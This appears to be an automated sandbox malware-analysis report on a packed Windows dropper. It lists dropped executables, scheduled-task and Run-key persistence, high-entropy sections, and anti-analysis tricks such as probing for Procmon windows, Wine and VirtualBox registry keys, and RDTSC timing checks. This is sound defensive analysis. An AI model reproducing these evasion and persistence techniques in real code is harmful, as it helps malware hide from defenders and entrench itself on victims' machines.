Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1925120 > 1048576

Source: file.exe

Static PE information: Raw size of nyeytjol is bigger than: 0x100000 < 0x1a4600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.100000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nyeytjol:EW;gedkwpmr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nyeytjol:EW;gedkwpmr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 1.2.explorti.exe.900000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nyeytjol:EW;gedkwpmr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nyeytjol:EW;gedkwpmr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 2.2.explorti.exe.900000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nyeytjol:EW;gedkwpmr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nyeytjol:EW;gedkwpmr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Unpacked PE file: 3.2.86cd2764f3.exe.c60000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fgtetwml:EW;kzhupcow:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fgtetwml:EW;kzhupcow:EW;.taggant:EW;
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Unpacked PE file: 4.2.ada2950f18.exe.600000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fgtetwml:EW;kzhupcow:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fgtetwml:EW;kzhupcow:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Code function: 6_2_00AE42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00AE42DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: ada2950f18.exe.2.dr	Static PE information: real checksum: 0x1c1290 should be: 0x1c22fe
Source: explorti.exe.0.dr	Static PE information: real checksum: 0x1de113 should be: 0x1defac
Source: file.exe	Static PE information: real checksum: 0x1de113 should be: 0x1defac
Source: random[1].exe.2.dr	Static PE information: real checksum: 0x1c1290 should be: 0x1c22fe
Source: 86cd2764f3.exe.2.dr	Static PE information: real checksum: 0x1c1290 should be: 0x1c22fe

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nyeytjol
Source: file.exe	Static PE information: section name: gedkwpmr
Source: file.exe	Static PE information: section name: .taggant
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: nyeytjol
Source: explorti.exe.0.dr	Static PE information: section name: gedkwpmr
Source: explorti.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: .rsrc
Source: random[1].exe.2.dr	Static PE information: section name: .idata
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: fgtetwml
Source: random[1].exe.2.dr	Static PE information: section name: kzhupcow
Source: random[1].exe.2.dr	Static PE information: section name: .taggant
Source: 86cd2764f3.exe.2.dr	Static PE information: section name:
Source: 86cd2764f3.exe.2.dr	Static PE information: section name: .rsrc
Source: 86cd2764f3.exe.2.dr	Static PE information: section name: .idata
Source: 86cd2764f3.exe.2.dr	Static PE information: section name:
Source: 86cd2764f3.exe.2.dr	Static PE information: section name: fgtetwml
Source: 86cd2764f3.exe.2.dr	Static PE information: section name: kzhupcow
Source: 86cd2764f3.exe.2.dr	Static PE information: section name: .taggant
Source: ada2950f18.exe.2.dr	Static PE information: section name:
Source: ada2950f18.exe.2.dr	Static PE information: section name: .rsrc
Source: ada2950f18.exe.2.dr	Static PE information: section name: .idata
Source: ada2950f18.exe.2.dr	Static PE information: section name:
Source: ada2950f18.exe.2.dr	Static PE information: section name: fgtetwml
Source: ada2950f18.exe.2.dr	Static PE information: section name: kzhupcow
Source: ada2950f18.exe.2.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_0091D84C push ecx; ret	2_2_0091D85F
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00989680 push eax; mov dword ptr [esp], 77F9BE1Ch	2_2_009896A7
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00989680 push 6C4F9E8Bh; mov dword ptr [esp], edi	2_2_009896B3
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00989680 push ebp; mov dword ptr [esp], ebx	2_2_009896FE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00989680 push ebp; mov dword ptr [esp], ecx	2_2_00989739
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00989680 push edx; mov dword ptr [esp], ecx	2_2_00989740
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00989680 push 4F199C67h; mov dword ptr [esp], edx	2_2_00989771
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00989680 push 510B2107h; mov dword ptr [esp], ecx	2_2_009897FA
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00989680 push edx; mov dword ptr [esp], eax	2_2_009897FF
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_00989680 push esi; mov dword ptr [esp], ebp	2_2_00989835
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 2_2_05300621 push 0000005Bh; retn 0004h	2_2_05300628
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B00A76 push ecx; ret	6_2_00B00A89

Source: file.exe	Static PE information: section name: entropy: 7.986093514903581
Source: file.exe	Static PE information: section name: nyeytjol entropy: 7.953962885461326
Source: explorti.exe.0.dr	Static PE information: section name: entropy: 7.986093514903581
Source: explorti.exe.0.dr	Static PE information: section name: nyeytjol entropy: 7.953962885461326
Source: random[1].exe.2.dr	Static PE information: section name: fgtetwml entropy: 7.954088154505861
Source: 86cd2764f3.exe.2.dr	Static PE information: section name: fgtetwml entropy: 7.954088154505861
Source: ada2950f18.exe.2.dr	Static PE information: section name: fgtetwml entropy: 7.954088154505861

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_5736606B9E4AF5D84DA5A728AAAD52EB			Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_5736606B9E4AF5D84DA5A728AAAD52EB	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_5736606B9E4AF5D84DA5A728AAAD52EB	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00AFF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		6_2_00AFF98E
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B71C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		6_2_00B71C41

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_6-96159

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DF762 second address: 2DF78C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB81h 0x00000007 jnl 00007FBFE93CDB76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jp 00007FBFE93CDB76h 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5B77 second address: 2E5B7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5B7B second address: 2E5BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBFE93CDB87h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FBFE93CDB82h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5BAE second address: 2E5BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5E49 second address: 2E5E65 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBFE93CDB84h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5FFF second address: 2E6026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F05h 0x00000007 jmp 00007FBFE8B00EFAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9DB0 second address: 2E9DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9DB4 second address: 2E9DB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9DB8 second address: 2E9DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jns 00007FBFE93CDB76h 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBFE93CDB81h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9DDB second address: 16ED05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jnc 00007FBFE8B00EFEh 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007FBFE8B00F08h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e jmp 00007FBFE8B00F06h 0x00000023 pop eax 0x00000024 mov edx, dword ptr [ebp+122D1BEEh] 0x0000002a push dword ptr [ebp+122D076Dh] 0x00000030 je 00007FBFE8B00EFCh 0x00000036 mov dword ptr [ebp+122D3620h], eax 0x0000003c call dword ptr [ebp+122D3152h] 0x00000042 pushad 0x00000043 mov dword ptr [ebp+122D192Bh], edx 0x00000049 xor eax, eax 0x0000004b mov dword ptr [ebp+122D18F6h], esi 0x00000051 mov edx, dword ptr [esp+28h] 0x00000055 or dword ptr [ebp+122D18F6h], edi 0x0000005b mov dword ptr [ebp+122D2B0Dh], eax 0x00000061 mov dword ptr [ebp+122D18F6h], esi 0x00000067 mov esi, 0000003Ch 0x0000006c jmp 00007FBFE8B00EFBh 0x00000071 add esi, dword ptr [esp+24h] 0x00000075 sub dword ptr [ebp+122D2450h], eax 0x0000007b lodsw 0x0000007d clc 0x0000007e add eax, dword ptr [esp+24h] 0x00000082 pushad 0x00000083 cmc 0x00000084 jmp 00007FBFE8B00F07h 0x00000089 popad 0x0000008a mov ebx, dword ptr [esp+24h] 0x0000008e cmc 0x0000008f push eax 0x00000090 jng 00007FBFE8B00F00h 0x00000096 push eax 0x00000097 push edx 0x00000098 pushad 0x00000099 popad 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EA067 second address: 2EA07D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE93CDB82h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EA07D second address: 2EA149 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FBFE8B00EFCh 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 jp 00007FBFE8B00F0Dh 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jnp 00007FBFE8B00F0Ch 0x00000024 je 00007FBFE8B00F06h 0x0000002a jmp 00007FBFE8B00F00h 0x0000002f mov eax, dword ptr [eax] 0x00000031 jmp 00007FBFE8B00F09h 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a jns 00007FBFE8B00EFEh 0x00000040 pop eax 0x00000041 mov ecx, dword ptr [ebp+122D2E0Ah] 0x00000047 push 00000003h 0x00000049 mov ecx, 1EE56672h 0x0000004e push 00000000h 0x00000050 mov dword ptr [ebp+1244914Ch], ebx 0x00000056 jmp 00007FBFE8B00F07h 0x0000005b push 00000003h 0x0000005d pushad 0x0000005e movzx esi, di 0x00000061 popad 0x00000062 call 00007FBFE8B00EF9h 0x00000067 push eax 0x00000068 push edx 0x00000069 push edx 0x0000006a jnc 00007FBFE8B00EF6h 0x00000070 pop edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EA149 second address: 2EA14E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EA266 second address: 2EA2B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FBFE8B00EF8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov dh, 6Bh 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d jmp 00007FBFE8B00EFCh 0x00000032 pop edi 0x00000033 call 00007FBFE8B00EF9h 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EA2B8 second address: 2EA2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EA2BD second address: 2EA2C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 308140 second address: 30815B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBFE93CDB80h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30815B second address: 30815F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30815F second address: 308165 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 308165 second address: 30816B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3082E7 second address: 308308 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 308807 second address: 308817 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3087CB second address: 3087D5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBFE93CDB76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3087D5 second address: 3087DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3087DE second address: 308807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBFE93CDB86h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBFE93CDB7Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 309263 second address: 309269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
